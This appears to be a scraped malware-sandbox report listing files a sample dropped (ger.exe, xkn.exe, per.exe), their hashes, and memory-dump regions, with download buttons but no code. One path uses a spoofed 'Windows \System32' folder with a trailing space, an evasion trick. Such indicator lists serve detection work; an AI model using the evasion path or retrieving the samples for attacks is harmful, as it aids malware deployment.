SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

Submit Download

ger.exe

Path C:\Users\Public\ger.exe
Size 75KB
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
SSDEEP 1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5 SHA1 SHA512 SSDEEP

Submit Download

xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

per.exe

Path C:\Windows \System32\per.exe
Size 48KB
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459
SSDEEP 768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1304-49-0x0000020FB60E0000-0x0000020FB6102000-memory.dmp

Download

memory/2252-106-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2252-103-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2252-101-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2268-100-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2268-96-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2268-98-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3600-0-0x00000000009F0000-0x00000000009F1000-memory.dmp

Download

memory/3600-4-0x0000000000400000-0x00000000004F8000-memory.dmp

Download

memory/4316-109-0x00000000167A0000-0x00000000167B9000-memory.dmp

Download

memory/4316-84-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-78-0x0000000004690000-0x0000000005690000-memory.dmp

Download

memory/4316-86-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-87-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-88-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-89-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-90-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-91-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-93-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-133-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-125-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-118-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-117-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-114-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-81-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-83-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-112-0x00000000167A0000-0x00000000167B9000-memory.dmp

Download

memory/4316-79-0x00000000164B0000-0x0000000016532000-memory.dmp

Download

memory/4316-113-0x00000000167A0000-0x00000000167B9000-memory.dmp

Download

memory/4428-72-0x0000000000400000-0x000000000041A000-memory.dmp

Download

memory/4428-5-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/4428-8-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/4428-10-0x0000000000400000-0x000000000041A000-memory.dmp

Download

memory/4428-11-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/4428-70-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/4924-97-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4924-99-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4924-95-0x0000000000400000-0x0000000000478000-memory.dmp

Download